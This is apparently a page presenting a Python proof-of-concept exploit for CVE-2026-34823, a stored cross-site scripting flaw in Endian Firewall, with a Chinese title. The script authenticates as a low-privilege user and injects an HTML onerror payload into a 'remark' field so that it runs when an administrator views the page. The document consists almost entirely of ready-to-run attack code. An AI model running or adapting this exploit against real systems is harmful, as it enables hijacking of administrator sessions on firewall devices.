CVE-2026-34823 Endian Firewall存储型XSS漏洞

import requests def exploit(target_ip, username, password): """ PoC for CVE-2026-34823 Stored XSS in Endian Firewall """ login_url = f"https://{target_ip}/login" target_url = f"https://{target_ip}/manage/password/web/" session = requests.Session() # Step 1: Authenticate (Low privilege) creds = {"username": username, "password": password} session.post(login_url, data=creds, verify=False) # Step 2: Inject Payload via remark parameter # Payload: Simple JavaScript alert to verify execution payload = "<img src=x onerror=alert('CVE-2026-34823')>" data = { "remark": payload, "other_params": "..." } response = session.post(target_url, data=data, verify=False) if response.status_code == 200: print(f"[+] Payload injected successfully at {target_url}") print("[*] Wait for an admin to view the page to trigger XSS.") else: print("[-] Failed to inject payload.") if __name__ == "__main__": exploit("192.168.1.1", "user", "user123")